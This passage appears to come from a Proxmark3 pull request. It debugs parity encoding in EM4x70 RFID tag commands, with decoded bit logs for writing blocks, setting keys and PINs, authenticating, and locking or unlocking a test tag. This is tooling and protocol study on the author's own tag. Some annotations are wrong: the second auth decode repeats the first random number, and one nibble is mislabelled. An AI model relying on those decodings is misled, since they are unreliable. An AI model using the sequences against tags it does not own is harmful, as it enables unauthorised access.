--------------|----|--------|--------|-------------- +``` + + +### `lf em 4x70 write -b 13 -d C65B` + +When `--par` is used, the command is treated as a three-bit +command, and a parity bit calculated and added. + +As can be seen, the existing code was re-using that logic +also for the address and data bits. This might be OK as +to the address bits (unlikely, but possible). This is most +definitely wrong as to the data bits. + +``` +[#] REM | RM | CMD | Addr | Data.... +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 37 bits:| 00 | 0101 0 | 1101 1 | 1100 0 0110 0 0101 0 1011 1 0100 0 +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 30 bits:| 00 | 101 0 | 101 0 | 100 1 110 0 101 0 011 0 100 0 +[#] REM --------------|----|--------|--------|-------------- +``` + + +### `lf em 4x70 setpin --pin 12345678` + +``` +[#] REM | RM | CMD | Addr | Data.... +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 6 bits:| 00 | 0001 | | +[#] sent >>>: 37 bits:| 00 | 0101 0 | 1011 1 | 0001 1 0010 1 0011 0 0100 1 0100 0 +[#] sent >>>: 37 bits:| 00 | 0101 0 | 1010 0 | 0101 0 0110 0 0111 1 1000 1 1100 0 +[#] sent >>>: 71 bits:| 00 | 0100 1 | | 0111 1000 1011 1000 // ID nibbles 1-4 + | | | | 1110 0000 0001 0010 // ID nibbles 5-8 + | | | | 0001 0010 0011 0100 // Pin nibbles 1-4 + | | | | 0101 0110 0111 1000 // Pin nibbles 5-8 +[#] sent >>>: 6 bits:| 00 | 0010 | | +[#] sent >>>: 6 bits:| 00 | 0111 | | +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 6 bits: | 00 | 001 1 | | +[#] REM --------------|----|--------|--------|-------------- +``` + +Surprisingly, `setpin` attempts to send `EM4X70_COMMAND_ID` as a 3-bit +value (+ parity over those three bits). My tag rejects the command +at this point, as it interprets the command as `EM4X70_COMMAND_AUTH`. + +TODO: Test code path on tag that requires 3-bit commands w/ parity bit. + + +### `lf em 4x70 unlock --pin AAAAAAAA` + +TODO: Test code path on tag that requires 3-bit commands w/ parity bit. + +My current tags properly reject the earliest command (sent as 3-bit +`EM4X70_COMMAND_ID` + its parity) as being `EM4X70_COMMAND_AUTH`. +Thus, it properly rejects the command. + +Writes pin to blocks 11, 10, then unlocks using that pin code. + +``` +[#] REM | RM | CMD | Addr | Data.... +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 6 bits:| 00 | 0001 | | +[#] sent >>>: 37 bits:| 00 | 0101 0 | 1011 1 | 0001 1 0010 1 0011 0 0100 1 0100 0 +[#] sent >>>: 37 bits:| 00 | 0101 0 | 1010 0 | 0101 0 0110 0 0111 1 1000 1 1100 0 +[#] sent >>>: 71 bits:| 00 | 0100 1 | | 0111 1000 1011 1000 + | | | | 1110 0000 0001 0010 + | | | | 0001 0010 0011 0100 + | | | | 0101 0110 0111 1000 +[#] sent >>>: 6 bits:| 00 | 0010 | | +[#] sent >>>: 6 bits:| 00 | 0111 | | +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 6 bits: | 00 | 001 1 | | +[#] REM --------------|----|--------|--------|-------------- +``` + +### `lf em 4x70 setkey -k 022A028C02BE000102030405` + +TODO: Test code path on tag that requires 3-bit commands w/ parity bit. + +My current tags properly reject the earliest command (sent as 3-bit +`EM4X70_COMMAND_ID` + its parity) as being `EM4X70_COMMAND_AUTH`. +Thus, it properly rejects the command. + + + +``` +[#] REM | RM | CMD | Addr | Data.... +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 6 bits:| 00 | 0001 | | +[#] sent >>>: 37 bits:| 00 | 0101 0 | 1001 0 | 0000 0 0010 1 0010 1 1010 0 1010 0 +[#] sent >>>: 37 bits:| 00 | 0101 0 | 1000 1 | 0000 0 0010 1 1000 1 1100 0 0110 0 +[#] sent >>>: 37 bits:| 00 | 0101 0 | 0111 1 | 0000 0 0010 1 1011 1 1110 1 0111 0 +[#] sent >>>: 37 bits:| 00 | 0101 0 | 0110 0 | 0000 0 0000 0 0000 0 0001 1 0001 0 +[#] sent >>>: 37 bits:| 00 | 0101 0 | 0101 0 | 0000 0 0010 1 0000 0 0011 0 0001 0 +[#] sent >>>: 37 bits:| 00 | 0101 0 | 0100 1 | 0000 0 0100 1 0000 0 0101 0 0001 0 +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 6 bits: | 00 | 001 1 | | +[#] REM --------------|----|--------|--------|-------------- +``` + + +### `lf em 4x70 auth --rnd 7D5167003571F8 --frn 982DBCC0` + +The only problem is that the final nibble of FRN +is missing its most significant bit. + +``` +[#] REM | RM | CMD | Addr | Data.... +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 98 bits:| 00 | 0011 0 | | 0111 1101 0101 0001 \ + | 0110 0111 0000 0000 \_Rnd + | 0011 0101 0111 0001 / + | 1111 1000 / + | 0000000 - Tdiv + | 1001 1000 0010 1101 \_FRN + | 1011 1100 1100 / +[#] REM --------------|----|--------|--------|-------------- +[#] sent >>>: 96 bits:| 00 | 011 0 | | 0111 1101 0101 0001 \ + | 0110 0111 0000 0000 \_Rnd + | 0011 0101 0111 0001 / + | 1111 1000 / + | 0000000 - Tdiv + | 1001 1000 0010 1101 \_FRN + | 1011 1100 100 / +[#] REM --------------|----|--------|--------|-------------- +``` + +## More Comprehensive logs ... Without `--par` option + +
Hiding by default as not critical

+ +### lf em 4x70 info + +`[usb|script] pm3 --> lf em 4x70 info` + +#### log + +``` +[#] sent >>>: [ 17169 .. 19545 ] ( 2376 ) 6 bits: 000001 +[#] recv <<<: [ 25999 .. 38288 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 45022 .. 47399 ] ( 2377 ) 6 bits: 000010 +[#] recv <<<: [ 53862 .. 66151 ] ( 12289 ) 32 bits: 10100001110111110101011001111000 +[#] sent >>>: [ 72886 .. 75260 ] ( 2374 ) 6 bits: 000111 +[#] recv <<<: [ 81702 .. 106281 ] ( 24579 ) 64 bits: 0001001000110100101010101010101010101010101010101010101010101010 +``` + +#### decoded log + +``` +[#] sent >>>: 6 bits: 00 0001 + 2-bit RM: 00 + 4-bit CMD: 0001 (EM4X70_COMMAND_ID) +[#] recv <<<: 32 bits: 0111 1000 1011 1000 1110 0000 0001 0010 + 7 8 B 8 E 0 1 2 + +[#] sent >>>: 6 bits: 00 0010 + 2-bit RM: 00 + 4-bit CMD: 0010 (EM4X70_COMMAND_UM1) +[#] recv <<<: 32 bits: 1010 0001 1101 1111 0101 0110 0111 1000 + A 1 D F 5 6 7 8 + +[#] sent >>>: 6 bits: 00 0111 + 2-bit RM: 00 + 4-bit CMD: 0111 (EM4X70_COMMAND_UM2) +[#] recv <<<: 64 bits: 0001 0010 0011 0100 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 + 1 2 3 4 A A A A A A A A A A A A +``` + + + + +#### other output + +``` +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | 12 34 | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | A1 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 1 +[=] Tag is UNLOCKED. +[=] +``` + +### lf em 4x70 write (UM2 block 15) + +`[usb|script] pm3 --> lf em 4x70 write -b 15 -d 576B` + +#### log + +``` +[#] sent >>>: [ 17163 .. 31600 ] ( 14437 ) 37 bits: 0001010111100101001111011001011111110 +[#] recv <<<: no data +[#] ... lines that retrieve ID/UM1/UM2 removed ... +``` + +#### decoded log + +``` +[#] sent >>>: 37 bits: 00 01010 11110 10100 10100 10100 10100 00000 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 1111 0 == 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 1011 1 == 0xB 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 0110 0 == 0x6 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0111 1 == 0x7 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0101 0 == 0x5 1st row nibble + row parity + || ||||| \\\\\---------------------------------- 1111 0 == address to write to + address parity + || \\\\\---------------------------------------- 0101 0 == EM4X70_COMMAND_WRITE + command parity (!!!) + \\---------------------------------------------- 00 == RM +``` + + + +#### other output + +``` +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | 57 6B | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | A1 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 1 +[=] Tag is UNLOCKED. +[=] +``` + +### lf em 4x70 setkey (autorecovery test key) + +This writes to block 9..4. +`[usb|script] pm3 --> lf em 4x70 setkey -k 022A028C02BE000102030405` + +#### log + +``` +[#] sent >>>: [ 17163 .. 19539 ] ( 2376 ) 6 bits: 000001 +[#] recv <<<: [ 25993 .. 38282 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 45015 .. 59453 ] ( 14438 ) 37 bits: 0001010100100000000101001011010010100 +[#] recv <<<: no data +[#] sent >>>: [ 114111 .. 128547 ] ( 14436 ) 37 bits: 0001010100010000000101100011100001100 +[#] recv <<<: no data +[#] sent >>>: [ 183207 .. 197646 ] ( 14439 ) 37 bits: 0001010011110000000101101111110101110 +[#] recv <<<: no data +[#] sent >>>: [ 252303 .. 266738 ] ( 14435 ) 37 bits: 0001010011000000000000000000001100010 +[#] recv <<<: no data +[#] sent >>>: [ 321387 .. 335820 ] ( 14433 ) 37 bits: 0001010010100000000101000000011000010 +[#] recv <<<: no data +[#] sent >>>: [ 390471 .. 404903 ] ( 14432 ) 37 bits: 0001010010010000001001000000101000010 +[#] recv <<<: no data +[#] sent >>>: [ 17157 .. 55333 ] ( 38176 ) 98 bits: 00001101110111100100011110001101111111011101100001001011000011000000001001100111011101100011111100 +[#] recv <<<: [ 61410 .. 69091 ] ( 7681 ) 20 bits: 10010001110110101000 +``` + +#### decoded log + +``` +[usb|script] pm3 --> lf em 4x70 setkey -k 022A 028C 02BE 0001 0203 0405 + + +[#] sent >>>: 6 bits: 00 0001 + RM EM4X70_COMMAND_ID +[#] recv <<<: 32 bits: 0111 1000 1011 1000 1110 0000 0001 0010 + 7 8 B 8 E 0 1 2 + +[#] sent >>>: 37 bits: 00 01010 10010 00000 00101 00101 10100 10100 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 1010 0 == 0xA 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 1010 0 == 0xA 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 0010 1 == 0x2 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0010 1 == 0x2 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0000 0 == 0x0 1st row nibble + row parity + || ||||| \\\\\---------------------------------- 1001 0 == 0x9 address + address parity + || \\\\\---------------------------------------- 0101 0 == EM4X70_COMMAND_WRITE + parity + \\---------------------------------------------- 00 == RM bits + +[#] sent >>>: 37 bits: 00 01010 10001 00000 00101 10001 11000 01100 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 0110 0 == 0x6 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 1100 0 == 0xC 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 1000 1 == 0x8 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0010 1 == 0x2 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0000 0 == 0x0 1st row nibble + row parity + || ||||| \\\\\---------------------------------- 1000 1 == 0x8 address + address parity + || \\\\\---------------------------------------- 0101 0 == EM4X70_COMMAND_WRITE + parity + \\---------------------------------------------- 00 == RM bits + +[#] sent >>>: 37 bits: 00 01010 01111 00000 00101 10111 11101 01110 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 0111 0 == 0x7 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 1110 1 == 0xE 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 1011 1 == 0xB 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0010 1 == 0x2 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0000 0 == 0x0 1st row nibble + row parity + || ||||| \\\\\---------------------------------- 0111 1 == 0x7 address + address parity + || \\\\\---------------------------------------- 0101 0 == EM4X70_COMMAND_WRITE + parity + \\---------------------------------------------- 00 == RM bits + +[#] sent >>>: 37 bits: 00 01010 01100 00000 00000 00000 00011 00010 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 0001 0 == 0x1 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 0001 1 == 0x1 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 0000 0 == 0x0 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0000 0 == 0x0 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0000 0 == 0x0 1st row nibble + row parity + || ||||| \\\\\---------------------------------- 0110 0 == 0x6 address + address parity + || \\\\\---------------------------------------- 0101 0 == EM4X70_COMMAND_WRITE + parity + \\---------------------------------------------- 00 == RM bits + +[#] sent >>>: 37 bits: 00 01010 01010 00000 00101 00000 00110 00010 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 0001 0 == 0x1 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 0011 0 == 0x3 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 0000 0 == 0x0 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0010 1 == 0x2 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0000 0 == 0x0 1st row nibble + row parity + || ||||| \\\\\---------------------------------- 0101 0 == 0x5 address + address parity + || \\\\\---------------------------------------- 0101 0 == EM4X70_COMMAND_WRITE + parity + \\---------------------------------------------- 00 == RM bits + +[#] sent >>>: 37 bits: 00 01010 01001 00000 01001 00000 01010 00010 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 0001 0 == 0x1 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 0101 0 == 0xC 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 0000 0 == 0x8 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0100 1 == 0x2 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0000 0 == 0x0 1st row nibble + row parity + || ||||| \\\\\---------------------------------- 0100 1 == 0x8 address + address parity + || \\\\\---------------------------------------- 0101 0 == EM4X70_COMMAND_WRITE + parity + \\---------------------------------------------- 00 == RM bits + + +Equivalent of: lf em 4x70 auth --rnd EF23C6FEEC2586 --frn 99DD8FC0 --> 91DA80 + +[#] sent >>>: 98 bits: 00 00110 1110 1111 0010 0011 1100 0110 1111 1110 1110 1100 0010 0101 1000 0110 0000000 1001 1001 1101 1101 1000 1111 1100 + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| ||||||| \--/ \--/ \--/ \--/ \--/ \--/ \--/---- FRN + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| ||||||| 9 9 D D 8 F C + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| \\\\\\\---------------------------------------- Tdiv (always seven zero bits) + || ||||| \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/-------------------------------------------------- 56-bits RN + || ||||| E F 2 3 C 6 F E E C 2 5 8 6 + || \\\\\---------------------------------------- 0011 0 == EM4X70_COMMAND_AUTH + parity + \\---------------------------------------------- 00 == RM bits +[#] recv <<<: 20 bits: 1001 0001 1101 1010 1000 + 9 1 D A 8 ---- GRN +``` + + +#### other output +``` +[=] Writing new key ( ok ) +[=] Verifying auth for new key: 022a028c02be000102030405 --> lf em 4x70 auth --rnd EF23C6FEEC2586 --frn 99DD8FC0 --> 91DA80 +[=] Authenticating with new key ( ok ) +``` + +### lf em 4x70 auth + +This is authentication using the autorecovery test key. + +`[usb|script] pm3 --> lf em 4x70 auth --rnd EF23C6FEEC2586 --frn 99DD8FC0` (log 1) +`[usb|script] pm3 --> lf em 4x70 auth --rnd 8713F4E00B8716 --frn CB8A1EA0` (log 2) + +#### log 1 +``` +[#] sent >>>: [ 17169 .. 55350 ] ( 38181 ) 98 bits: 00001101110111100100011110001101111111011101100001001011000011000000001001100111011101100011111100 +[#] recv <<<: [ 61421 .. 69103 ] ( 7682 ) 20 bits: 10010001110110101000 +``` + +#### decoded log 1 +``` +[#] sent >>>: 98 bits: 00 00110 1110 1111 0010 0011 1100 0110 1111 1110 1110 1100 0010 0101 1000 0110 0000000 1001 1001 1101 1101 1000 1111 1100 + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| ||||||| \--/ \--/ \--/ \--/ \--/ \--/ \--/---- FRN + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| ||||||| 9 9 D D 8 F C + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| ||||||| + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| \\\\\\\---------------------------------------- Tdiv (7x zero) + || ||||| \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/-------------------------------------------------- 56-bits RN + || ||||| E F 2 3 C 6 F E E C 2 5 8 6 + || \\\\\---------------------------------------- 0011 0 == EM4X70_COMMAND_AUTH + parity + \\---------------------------------------------- 00 == RM bits +[#] recv <<<: 20 bits: 1001 0001 1101 1010 1000 + 9 1 D A 8 ---- GRN +``` + +#### log 2 +``` +[#] sent >>>: [ 21002 .. 59178 ] ( 38176 ) 98 bits: 00001101000011100010011111101001110000000001011100001110001011000000001100101110001010000111101010 +[#] recv <<<: [ 1 .. 73322 ] ( 73321 ) 20 bits: 11110100100011100001 +``` + +#### decoded lgo 2 +``` +[#] sent >>>: 98 bits: 00 00110 1000 0111 0001 0011 1111 0100 1110 0000 0000 1011 1000 0111 0001 0110 0000000 1100 1011 1000 1010 0001 1110 1010 + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| ||||||| \--/ \--/ \--/ \--/ \--/ \--/ \--/---- FRN + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| ||||||| C B 8 A 1 E A + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| ||||||| + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| |||| \\\\\\\---------------------------------------- Tdiv (7x zero) + || ||||| \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/ \--/-------------------------------------------------- 56-bits RN + || ||||| E F 2 3 C 6 F E E C 2 5 8 6 + || \\\\\---------------------------------------- 0011 0 == EM4X70_COMMAND_AUTH + parity + \\---------------------------------------------- 00 == RM bits + + +[#] recv <<<: 20 bits: 1111 0100 1000 1110 0001 + F 4 8 E 1 ---- GRN +``` + + + +#### other output + +``` +[=] Tag Auth Response: 91 DA 80 +``` + +### lf em 4x70 setpin + +Set new pin code (writes to blocks 11, 10) + +`[usb|script] pm3 --> lf em 4x70 setpin -p 12345678` + +#### log + +``` +[#] sent >>>: [ 17162 .. 19540 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 25992 .. 38282 ] ( 12290 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 45014 .. 59445 ] ( 14431 ) 37 bits: 0001010101110001100101001100100101000 +[#] recv <<<: no data +[#] sent >>>: [ 114098 .. 128531 ] ( 14433 ) 37 bits: 0001010101000101001100011111000111000 +[#] recv <<<: no data +[#] sent >>>: [ 183182 .. 210838 ] ( 27656 ) 71 bits: 00010010111100010111000111000000001001000010010001101000101011001111000 +[#] recv <<<: [ 263748 .. 276039 ] ( 12291 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 282770 .. 285147 ] ( 2377 ) 6 bits: 000010 +[#] recv <<<: [ 291612 .. 303901 ] ( 12289 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 310634 .. 313007 ] ( 2373 ) 6 bits: 000111 +[#] recv <<<: [ 319451 .. 344030 ] ( 24579 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 +``` + +#### decoded log + +``` +[#] sent >>>: 6 bits: 00 0001 + RM EM4X70_COMMAND_ID +[#] recv <<<: 32 bits: 0111 1000 1011 1000 1110 0000 0001 0010 + 7 8 B 8 E 0 1 2 + +[#] sent >>>: 37 bits: 00 01010 10111 00011 00101 00110 01001 01000 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 0100 0 == 0x4 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 0100 1 == 0x4 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 0011 0 == 0x3 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0010 1 == 0x2 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0001 1 == 0x1 1st row nibble + row parity + || ||||| \\\\\----------------------------------- 1011 1 == 0xB address + address parity + || \\\\\------------------------------------------ 0101 0 == EM4X70_COMMAND_WRITE + parity + \\------------------------------------------------ 00 == RM bits + +[#] sent >>>: 37 bits: 00 01010 10100 01010 01100 01111 10001 11000 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 1100 0 == 0xC 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 1000 1 == 0x8 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 0111 1 == 0x7 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0110 0 == 0x6 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 0101 0 == 0x5 1st row nibble + row parity + || ||||| \\\\\----------------------------------- 1010 0 == 0xA address + address parity + || \\\\\------------------------------------------ 0101 0 == EM4X70_COMMAND_WRITE + parity + \\------------------------------------------------ 00 == RM bits + +[#] sent >>>: 71 bits: 00 01001 0111 1000 1011 1000 1110 0000 0001 0010 0001 0010 0011 0100 0101 0110 0111 1000 + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| \||/ \||/ \||/ \||/ \||/ \||/ \||/ \||/-- PIN + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| 1 2 3 4 5 6 7 8 + || ||||| \||/ \||/ \||/ \||/ \||/ \||/ \||/ \||/------------------------------------------- Tag ID + || ||||| 7 8 B 8 E 0 1 2 + || \\\\\------------------------------------------------------------------------------------ EM4X70_COMMAND_PIN + parity + \\------------------------------------------------------------------------------------------ RM bits +[#] recv <<<: 32 bits: 0111 1000 1011 1000 1110 0000 0001 0010 Tag ID + 7 8 B 8 E 0 1 2 + +(reads the UM1 and UM2 blocks again ... skipped for brevity) +``` + + +#### other output + +``` +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] +[=] Writing new PIN ( ok ) +``` + +### lf em 4x70 write (lock the tag) + +This locks the tag by setting top two bits of UM1. + +`[usb|script] pm3 --> lf em 4x70 write -b 1 -d E1DF` + +#### log + +``` +[#] sent >>>: [ 17164 .. 31601 ] ( 14437 ) 37 bits: 0001010000111110100011110111111011010 +[#] recv <<<: no data +[#] sent >>>: [ 86259 .. 88633 ] ( 2374 ) 6 bits: 000001 +[#] recv <<<: [ 95089 .. 107378 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114110 .. 116487 ] ( 2377 ) 6 bits: 000010 +[#] recv <<<: [ 122952 .. 135240 ] ( 12288 ) 32 bits: 11100001110111110101011001111000 +[#] sent >>>: [ 141975 .. 144351 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 150792 .. 175370 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 +``` + +#### decoded log + +``` +[#] sent >>>: 37 bits: 00 01010 00011 11101 00011 11011 11110 11010 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 1101 0 == 0xD 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 1111 0 == 0xF 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 1101 1 == 0xD 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 0001 1 == 0x1 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 1110 1 == 0xE 1st row nibble + row parity + || ||||| \\\\\----------------------------------- 0001 1 == 0x1 address + address parity + || \\\\\------------------------------------------ 0101 0 == EM4X70_COMMAND_WRITE + parity + \\------------------------------------------------ 00 == RM bits + +Skipping reads of ID, UM1, UM2 +``` + + +#### other output + +``` +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | E1 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 1 +[=] Lockbit 1: 1 +[=] Tag is LOCKED. +[=] +``` + +### lf em 4x70 unlock + +`[usb|script] pm3 --> lf em 4x70 unlock -p 12345678` + +#### log + +``` +[#] sent >>>: [ 17162 .. 19538 ] ( 2376 ) 6 bits: 000001 +[#] recv <<<: [ 25992 .. 38282 ] ( 12290 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 45015 .. 72674 ] ( 27659 ) 71 bits: 00010010111100010111000111000000001001000010010001101000101011001111000 +[#] recv <<<: [ 125592 .. 137883 ] ( 12291 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 144615 .. 146991 ] ( 2376 ) 6 bits: 000010 +[#] recv <<<: [ 153457 .. 165744 ] ( 12287 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 172478 .. 174854 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 181296 .. 205874 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 +``` + +#### other output + +``` +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- 